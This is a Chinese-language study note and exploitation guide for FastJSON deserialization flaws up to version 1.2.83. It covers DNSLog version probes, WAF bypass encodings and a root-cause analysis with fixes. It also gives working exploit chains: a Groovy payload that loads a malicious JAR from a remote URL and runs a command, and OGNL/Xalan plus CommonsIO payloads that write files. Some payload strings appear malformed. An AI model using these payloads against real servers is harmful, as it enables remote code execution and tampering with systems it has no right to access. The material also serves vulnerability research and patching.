Hacking JSON 学习记录
字数 2452 2025-08-12 11:34:41
FastJSON反序列化漏洞深度分析与利用指南
1. FastJSON漏洞概述
FastJSON是阿里巴巴开源的高性能JSON处理库,在多个版本中存在反序列化漏洞,攻击者可通过精心构造的JSON数据实现远程代码执行(RCE)。
2. 版本探测技术
2.1 版本探测Payload
<=1.2.47版本探测
[
{
"@type": "java.lang.Class",
"val": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.net.InetSocketAddress",
"address": "",
"val": "dnslog"
}
]
<=1.2.68版本探测
[
{
"@type": "java.lang.AutoCloseable",
"@type": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.net.InetSocketAddress",
"address": "",
"val": "dnslog"
}
]
<=1.2.80版本探测
[
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"x": {
"@type": "java.net.InetSocketAddress",
"address": "",
"val": "first.dnslog.cn"
}
},
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"message": {
"@type": "java.net.InetSocketAddress",
"address": "",
"val": "second.dnslog.cn"
}
}
]
1.2.83版本探测
会收到两个DNSLog请求,异常回显确认版本:
{"@type":"java.lang.AutoCloseable"}
3. 依赖探测技术
3.1 DNSLog回显探测依赖库
{
"1":"java.net.http.httpclient"
}_857271A6.DNS.1433.EU.ORG
依赖不存在时访问:
{}_857271A6.DNS.1433.EU.ORG
注意:某些DNS服务器可能不接受特殊字符,可能导致DNSLog记录丢失。
4. WAF绕过技术
4.1 编码绕过
- 使用Base64或quoted-printable(QP)编码绕过WAF
- 在部分中间件中,multipart支持指定Content-Transformer-Encoding
4.2 大量字符绕过
[11111111111111111111111111111111111,[11111111111111111111111111111111111... ,[11111111111111111111111111111111111... ,[11111111111111111111111111111111111... ,[11111111111111111111111111111111111.x40\u0074\x79\u0070\x65':xjava.lang.AutoCloseable"
4.3 其他特性
- 16进制编码
- Unicode编码
- 使用
new:[NaN,x'00'x40\u0074\x79\u0070\x65':xjava.lang.AutoCloseable"
5. 漏洞原理深度分析
5.1 绕过checkAutoType()校验的方式
- 白名单里的类
- 开启了autotype
- 使用了JSONType注解
- 指定了期望类(expectClass)
- 缓存在mapping中的类
- 使用ParserConfig.AutoTypeCheckHandler接口通过校验的类
5.2 各版本漏洞原理
1.2.47版本
- 利用
java.lang.Class使用MiscCodec反序列化器 - 将恶意类写入白名单缓存mapping中
- 通过checkAutoType从白名单获取恶意类进行反序列化
修复:
- 增加
java.lang.Class、java.net.InetAddress黑名单 - MiscCodec.java文件对cache缓存设置成false
- ParserConfig.java文件调整checkAutoType()策略
1.2.68版本
- 利用
java.lang.AutoCloseable接口类 - 该接口在<=1.2.68版本未加入黑名单
- 通过第二个@type的类名进行黑白名单校验
- 使用TypeUtils.loadClass加载目标类
- 调用isAssignableFrom()判断是否实现期望类接口
修复:
- 新增期望类黑名单:
java.lang.Runnable、java.lang.Readable和java.lang.AutoCloseable - 引入safeMode功能作为反序列化开关
1.2.80版本
- 利用
java.lang.Throwable期望类 java.lang.Exception是Throwable的子类ognl.OgnlException继承于java.lang.Exception,可添加到白名单
漏洞触发流程:
- DefaultJSONParser解析JSON数据
- 获取ThrowableDeserializer解析器
- ParserConfig#checkAutoType检查期望类
- 判断safeMode是否开启
- 检查typeName长度(3-192字符)
- 计算期望类hash值是否在黑名单
- 使用二分搜索法查询白名单
- 查询缓存mapping
- 从classloader加载类
- 将目标类加入缓存mapping
修复:
java.lang.Exception加入黑名单- TypeUtils.addmapping增加autotype判断
6. 实用利用链分析
6.1 Groovy远程类加载
依赖:groovy
POC 1:将org.codehaus.groovy.control.ProcessingUnit加入白名单
{
"@type": "java.lang.Exception",
"@type": "org.codehaus.groovy.control.CompilationFailedException",
"unit": {}
}
POC 2:执行恶意代码
{
"@type": "org.codehaus.groovy.control.ProcessingUnit",
"@type": "org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config": {
"@type": "org.codehaus.groovy.control.CompilerConfiguration",
"classpathList": "http://127.0.0.1:9090/attack-1.jar"
},
"gcl": null,
"destDir": "/tmp"
}
恶意JAR构造:
- 创建
groovy.grape.GrabAnnotationTransformation2类
package groovy.grape;
import org.codehaus.groovy.ast.ASTNode;
import org.codehaus.groovy.control.CompilePhase;
import org.codehaus.groovy.control.SourceUnit;
import org.codehaus.groovy.transform.ASTTransformation;
import org.codehaus.groovy.transform.GroovyASTTransformation;
import java.io.IOException;
@GroovyASTTransformation(phase= CompilePhase.CONVERSION)
public class GrabAnnotationTransformation2 implements ASTTransformation {
public GrabAnnotationTransformation2() {
try {
Runtime.getRuntime().exec("open -a Calculator.app");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void visit(ASTNode[] nodes, SourceUnit source) {}
}
- 创建服务文件
META-INF/services/org.codehaus.groovy.transform.ASTTransformation
groovy.grape.GrabAnnotationTransformation2
6.2 AspectJTools报错回显读文件
适用版本:Fastjson 1.2.73-1.2.80
依赖:aspectjtools
条件:应用需要返回异常信息
6.3 OGNL+CommonsIO写文件
低版本CommonsIO(2.0-2.6)
依赖:
- OGNL 3.2.21
- CommonIO 2.0-2.6
高版本CommonsIO(2.7/2.8)
依赖:
- OGNL 3.2.21
- CommonIO 2.7/2.8
二进制文件写入
依赖:
- OGNL 3.2.21
- commons-io-2.2
- aspectjtools-1.9.6
- commons-codec-1.6
POC:
String url = "file:///D:/Downloads/1.txt";
InputStream input = new URL(url).openStream();
byte[] bs = new byte[input.available()];
input.read(bs);
String test = Base64.getEncoder().encodeToString(bs);
byte[] testbs = test.getBytes();
String poc1 = "{\r\n" +
" \"su14\": {\r\n" +
" \"@type\": \"java.lang.Exception\",\r\n" +
" \"@type\": \"ognl.OgnlException\"\r\n" +
" },\r\n" +
" \"su15\": {\r\n" +
" \"@type\": \"java.lang.Class\",\r\n" +
" \"val\": {\r\n" +
" \"@type\": \"com.alibaba.fastjson.JSONObject\",\r\n" +
" {\r\n" +
" \"@type\": \"java.lang.String\"\r\n" +
" \"@type\": \"ognl.OgnlException\",\r\n" +
" \"evaluation\": \"\"\r\n" +
" }\r\n" +
" }\r\n" +
" },\r\n" +
" \"su16\": {\r\n" +
" \"@type\": \"ognl.Evaluation\",\r\n" +
" \"node\": {\r\n" +
" \"@type\": \"ognl.ASTMethod\",\r\n" +
" \"p\": {\r\n" +
" \"@type\": \"ognl.OgnlParser\",\r\n" +
" \"stream\": {\r\n" +
" \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\r\n" +
" \"delegate\":{\r\n" +
" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\r\n" +
" \"input\":{\r\n" +
" \"@type\": \"org.apache.commons.codec.binary.Base64InputStream\",\r\n" +
" \"in\":{\r\n" +
" \"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\",\r\n" +
" \"charset\":\"utf-8\",\r\n" +
" \"bufferSize\": 1024,\r\n" +
" \"s\":{\"@type\":\"java.lang.String\"\""+test+"\"\r\n" +
" },\r\n" +
" \"doEncode\":false,\r\n" +
" \"lineLength\":1024,\r\n" +
" \"lineSeparator\":\"5ZWKCg==\",\r\n" +
" \"decodingPolicy\":0\r\n" +
" },\r\n" +
" \"branch\":{\r\n" +
" \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\r\n" +
" \"targetPath\":\"1.txt\"\r\n" +
" },\r\n" +
" \"closeBranch\":true\r\n" +
" },\r\n" +
" \"include\":true,\r\n" +
" \"boms\":[{\r\n" +
" \"@type\": \"org.apache.commons.io.ByteOrderMark\",\r\n" +
" \"charsetName\": \"UTF-8\",\r\n" +
" \"bytes\":"+Arrays.toString(testbs)+"\r\n" +
" }]\r\n" +
" }\r\n" +
" }\r\n" +
" },\r\n" +
" \"su17\": {\r\n" +
" \"$ref\": \"$.su16.node.p.stream\"\r\n" +
" },\r\n" +
" \"su18\": {\r\n" +
" \"$ref\": \"$.su17.bOM.bytes\"\r\n" +
" }\r\n" +
"}";
6.4 Xalan+CommonsIO写文件
低版本CommonsIO(2.0-2.6)
依赖:
- fastjson 1.2.73-1.2.80
- xalan-2.7.2
- dom4j-2.1.3
- commons-io-2.0-2.6
高版本CommonsIO(2.7/2.8)
依赖:
- fastjson 1.2.73-1.2.80
- xalan-2.7.2
- dom4j-2.1.3
- commons-io-2.7/2.8
二进制文件写入
依赖:
- fastjson 1.2.73-1.2.80
- dom4j-2.1.3
- commons-io-2.2
- aspectjtools-1.9.6
- commons-codec-1.6
POC:
String poc1 = "{\r\n" +
"\"@type\": \"java.lang.Exception\",\r\n" +
"\"@type\": \"org.apache.xml.dtm.DTMConfigurationException\",\"locator\":{}\r\n" +
"}";
String poc2 = "{\r\n" +
"\"@type\": \"java.lang.Class\",\r\n" +
"\"val\": {\r\n" +
"\"@type\": \"java.lang.String\" {\r\n" +
"\"@type\": \"java.util.Locale\",\r\n" +
"\"val\": {\r\n" +
"\"@type\": \"com.alibaba.fastjson.JSONObject\",\r\n" +
"{\r\n" +
"\"@type\": \"java.lang.String\"\r\n" +
"\"@type\": \"org.apache.xml.dtm.DTMConfigurationException\",\r\n" +
"\"locator\": {}\r\n" +
"}\r\n" +
"}\r\n" +
"}";
String poc3 = "{\r\n" +
"\"su14\": {\r\n" +
"\"@type\": \"javax.xml.transform.SourceLocator\",\r\n" +
"\"@type\": \"org.apache.xpath.objects.XNodeSetForDOM\",\r\n" +
"\"nodeIter\": {\r\n" +
"\"@type\": \"org.apache.xpath.NodeSet\"\r\n" +
"},\r\n" +
"\"xctxt\": {\r\n" +
"\"@type\": \"org.apache.xpath.XPathContext\",\r\n" +
"\"primaryReader\": {\r\n" +
"\"@type\": \"org.dom4j.io.XMLWriter\",\r\n" +
"\"entityResolver\": {\r\n" +
"\"@type\": \"org.dom4j.io.SAXContentHandler\",\r\n" +
"\"inputSource\": {\r\n" +
"\"byteStream\": {\r\n" +
"\"@type\": \"java.io.InputStream\"\r\n" +
"}\r\n" +
"}\r\n" +
"}\r\n" +
"}\r\n" +
"}\r\n" +
"}";
String poc4 = "{\r\n" +
"\"su16\": {\r\n" +
"\"@type\": \"java.io.InputStream\",\r\n" +
"\"@type\":\"org.apache.commons.io.input.BOMInputStream\",\r\n" +
"\"delegate\":{\r\n" +
"\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\r\n" +
"\"input\":{\r\n" +
"\"@type\": \"org.apache.commons.codec.binary.Base64InputStream\",\r\n" +
"\"in\":{\r\n" +
"\"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\",\r\n" +
"\"charset\":\"utf-8\",\r\n" +
"\"bufferSize\": 1024,\r\n" +
"\"s\":{\"@type\":\"java.lang.String\"\""+test+"\"\r\n" +
"},\r\n" +
"\"doEncode\":false,\r\n" +
"\"lineLength\":1024,\r\n" +
"\"lineSeparator\":\"5ZWKCg==\",\r\n" +
"\"decodingPolicy\":0\r\n" +
"},\r\n" +
"\"branch\":{\r\n" +
"\"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\r\n" +
"\"targetPath\":\"1.txt\"\r\n" +
"},\r\n" +
"\"closeBranch\":true\r\n" +
"},\r\n" +
"\"include\":true,\r\n" +
"\"boms\":[{\r\n" +
"\"@type\": \"org.apache.commons.io.ByteOrderMark\",\r\n" +
"\"charsetName\": \"UTF-8\",\r\n" +
"\"bytes\":"+Arrays.toString(testbs)+"\r\n" +
"},\r\n" +
"\"su17\": {\r\n" +
"\"$ref\": \"$.su16.bOM.bytes\"\r\n" +
"}\r\n" +
"}";
7. 依赖配置(Maven)
<dependency>
<groupId>ognl</groupId>
<artifactId>ognl</artifactId>
<version>3.2.18</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.8.14</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.8.0</version>
</dependency>
<dependency>
<groupId>xalan</groupId>
<artifactId>xalan</artifactId>
<version>2.7.2</version>
</dependency>
<dependency>
<groupId>org.dom4j</groupId>
<artifactId>dom4j</artifactId>
<version>2.1.3</version>
</dependency>
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>3.0.3</version>
</dependency>